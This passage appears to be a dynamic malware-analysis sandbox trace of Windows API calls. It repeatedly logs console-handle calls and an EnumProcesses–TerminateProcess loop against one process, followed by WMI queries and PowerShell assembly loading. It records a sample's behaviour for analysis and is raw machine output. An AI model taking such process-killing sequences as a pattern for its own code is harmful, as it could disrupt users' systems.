(lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf [0069.361] GetLastError () returned 0x0 [0069.361] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.361] GetLastError () returned 0x0 [0069.361] SetConsoleTextAttribute (hConsoleOutput=0xcf, wAttributes=0x7) returned 1 [0069.361] GetLastError () returned 0x0 [0069.365] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf [0069.366] GetLastError () returned 0x0 [0069.366] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.366] GetLastError () returned 0x0 [0069.366] SetConsoleTextAttribute (hConsoleOutput=0xcf, wAttributes=0x7) returned 1 [0069.366] GetLastError () returned 0x0 [0069.370] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf [0069.370] GetLastError () returned 0x0 [0069.370] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.371] GetLastError () returned 0x0 [0069.371] SetConsoleTextAttribute (hConsoleOutput=0xcf, wAttributes=0x7) returned 1 [0069.371] GetLastError () returned 0x0 [0069.372] EnumProcesses (in: lpidProcess=0x2f1cd64, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2f1cd64, lpcbNeeded=0x5e8e5a8) returned 1 [0069.372] GetLastError () returned 0x0 [0069.373] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.375] GetLastError () returned 0x0 [0069.379] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf [0069.379] GetLastError () returned 0x0 [0069.379] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.379] GetLastError () returned 0x0 [0069.383] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd3 [0069.388] GetLastError () returned 0x0 [0069.388] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xd3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.388] GetLastError () returned 0x0 [0069.392] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd7 [0069.392] GetLastError () returned 0x0 [0069.392] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xd7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.392] GetLastError () returned 0x0 [0069.396] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdb [0069.396] GetLastError () returned 0x0 [0069.396] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdb, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.396] GetLastError () returned 0x0 [0069.400] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf [0069.400] GetLastError () returned 0x0 [0069.400] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.401] GetLastError () returned 0x0 [0069.401] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0x7) returned 1 [0069.401] GetLastError () returned 0x0 [0069.405] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf [0069.405] GetLastError () returned 0x0 [0069.405] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.405] GetLastError () returned 0x0 [0069.405] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0x7) returned 1 [0069.406] GetLastError () returned 0x0 [0069.410] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf [0069.410] GetLastError () returned 0x0 [0069.410] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.410] GetLastError () returned 0x0 [0069.410] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0x7) returned 1 [0069.411] GetLastError () returned 0x0 [0069.415] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf [0069.415] GetLastError () returned 0x0 [0069.415] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.415] GetLastError () returned 0x0 [0069.415] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0x7) returned 1 [0069.415] GetLastError () returned 0x0 [0069.416] EnumProcesses (in: lpidProcess=0x2f3d534, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2f3d534, lpcbNeeded=0x5e8e5a8) returned 1 [0069.417] GetLastError () returned 0x0 [0069.417] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.419] GetLastError () returned 0x0 [0069.424] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf [0069.429] GetLastError () returned 0x0 [0069.429] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.429] GetLastError () returned 0x0 [0069.433] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe3 [0069.434] GetLastError () returned 0x0 [0069.434] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xe3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.434] GetLastError () returned 0x0 [0069.438] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe7 [0069.438] GetLastError () returned 0x0 [0069.438] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xe7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.438] GetLastError () returned 0x0 [0069.442] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb [0069.442] GetLastError () returned 0x0 [0069.442] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xeb, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.442] GetLastError () returned 0x0 [0069.446] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xef [0069.447] GetLastError () returned 0x0 [0069.447] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xef, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.447] GetLastError () returned 0x0 [0069.447] SetConsoleTextAttribute (hConsoleOutput=0xef, wAttributes=0x7) returned 1 [0069.447] GetLastError () returned 0x0 [0069.451] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xef [0069.452] GetLastError () returned 0x0 [0069.452] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xef, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.452] GetLastError () returned 0x0 [0069.452] SetConsoleTextAttribute (hConsoleOutput=0xef, wAttributes=0x7) returned 1 [0069.452] GetLastError () returned 0x0 [0069.456] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xef [0069.457] GetLastError () returned 0x0 [0069.457] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xef, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.457] GetLastError () returned 0x0 [0069.457] SetConsoleTextAttribute (hConsoleOutput=0xef, wAttributes=0x7) returned 1 [0069.457] GetLastError () returned 0x0 [0069.461] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xef [0069.462] GetLastError () returned 0x0 [0069.462] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xef, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.462] GetLastError () returned 0x0 [0069.462] SetConsoleTextAttribute (hConsoleOutput=0xef, wAttributes=0x7) returned 1 [0069.462] GetLastError () returned 0x0 [0069.463] EnumProcesses (in: lpidProcess=0x2f5da50, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2f5da50, lpcbNeeded=0x5e8e5a8) returned 1 [0069.464] GetLastError () returned 0x0 [0069.466] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.468] GetLastError () returned 0x0 [0069.473] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0069.474] GetLastError () returned 0x0 [0069.474] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.474] GetLastError () returned 0x0 [0069.478] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37 [0069.479] GetLastError () returned 0x0 [0069.479] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x37, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.480] GetLastError () returned 0x0 [0069.484] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33 [0069.484] GetLastError () returned 0x0 [0069.484] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x33, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.485] GetLastError () returned 0x0 [0069.489] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0069.489] GetLastError () returned 0x0 [0069.489] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.490] GetLastError () returned 0x0 [0069.494] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7 [0069.494] GetLastError () returned 0x0 [0069.495] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa7, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.495] GetLastError () returned 0x0 [0069.495] SetConsoleTextAttribute (hConsoleOutput=0xa7, wAttributes=0x7) returned 1 [0069.496] GetLastError () returned 0x0 [0069.500] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0069.501] GetLastError () returned 0x0 [0069.501] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.502] GetLastError () returned 0x0 [0069.502] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0069.502] GetLastError () returned 0x0 [0069.507] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0069.508] GetLastError () returned 0x0 [0069.508] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.508] GetLastError () returned 0x0 [0069.508] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0069.509] GetLastError () returned 0x0 [0069.513] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0069.535] GetLastError () returned 0x0 [0069.535] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.535] GetLastError () returned 0x0 [0069.535] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0069.536] GetLastError () returned 0x0 [0069.537] EnumProcesses (in: lpidProcess=0x2d88f30, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2d88f30, lpcbNeeded=0x5e8e5a8) returned 1 [0069.537] GetLastError () returned 0x0 [0069.538] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.539] GetLastError () returned 0x0 [0069.544] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0069.544] GetLastError () returned 0x0 [0069.544] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.545] GetLastError () returned 0x0 [0069.549] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0069.549] GetLastError () returned 0x0 [0069.549] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.549] GetLastError () returned 0x0 [0069.553] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17 [0069.553] GetLastError () returned 0x0 [0069.553] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.553] GetLastError () returned 0x0 [0069.557] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b [0069.557] GetLastError () returned 0x0 [0069.557] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.557] GetLastError () returned 0x0 [0069.561] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0069.561] GetLastError () returned 0x0 [0069.561] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.562] GetLastError () returned 0x0 [0069.562] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0069.562] GetLastError () returned 0x0 [0069.566] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0069.566] GetLastError () returned 0x0 [0069.566] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.566] GetLastError () returned 0x0 [0069.567] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0069.567] GetLastError () returned 0x0 [0069.571] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0069.578] GetLastError () returned 0x0 [0069.578] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.578] GetLastError () returned 0x0 [0069.578] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0069.578] GetLastError () returned 0x0 [0069.582] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0069.583] GetLastError () returned 0x0 [0069.583] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.583] GetLastError () returned 0x0 [0069.583] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0069.583] GetLastError () returned 0x0 [0069.584] EnumProcesses (in: lpidProcess=0x2da8f00, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2da8f00, lpcbNeeded=0x5e8e5a8) returned 1 [0069.585] GetLastError () returned 0x0 [0069.585] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.587] GetLastError () returned 0x0 [0069.591] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0069.591] GetLastError () returned 0x0 [0069.591] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.592] GetLastError () returned 0x0 [0069.595] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0069.596] GetLastError () returned 0x0 [0069.596] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.596] GetLastError () returned 0x0 [0069.599] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27 [0069.600] GetLastError () returned 0x0 [0069.600] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x27, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.600] GetLastError () returned 0x0 [0069.604] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b [0069.604] GetLastError () returned 0x0 [0069.604] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.604] GetLastError () returned 0x0 [0069.607] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0069.608] GetLastError () returned 0x0 [0069.608] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.608] GetLastError () returned 0x0 [0069.608] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0069.608] GetLastError () returned 0x0 [0069.612] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0069.612] GetLastError () returned 0x0 [0069.612] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.613] GetLastError () returned 0x0 [0069.613] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0069.613] GetLastError () returned 0x0 [0175.562] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0175.563] GetLastError () returned 0x0 [0175.563] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0175.563] GetLastError () returned 0x0 [0175.563] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0175.564] GetLastError () returned 0x0 [0175.569] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0175.569] GetLastError () returned 0x0 [0175.569] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0175.569] GetLastError () returned 0x0 [0175.569] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0175.570] GetLastError () returned 0x0 [0175.575] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0175.576] IWbemClassObject:GetNames (in: This=0x6104928, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e438*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e404 | out: pNames=0x5e8e404*="\x01ƀ\x04") returned 0x0 [0175.577] SafeArrayGetDim (psa=0x41ea10) returned 0x1 [0175.577] SafeArrayGetDim (psa=0x41ea10) returned 0x1 [0175.577] SafeArrayGetLBound (in: psa=0x41ea10, nDim=0x1, plLbound=0x5e8e000 | out: plLbound=0x5e8e000) returned 0x0 [0175.582] EnumProcesses (in: lpidProcess=0x2dc8c80, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2dc8c80, lpcbNeeded=0x5e8e5a8) returned 1 [0175.584] GetLastError () returned 0x0 [0175.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x5e8e090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0175.587] GetLastError () returned 0x0 [0175.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x5e8e040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0175.587] GetLastError () returned 0x0 [0175.587] GetFullPathNameW (in: 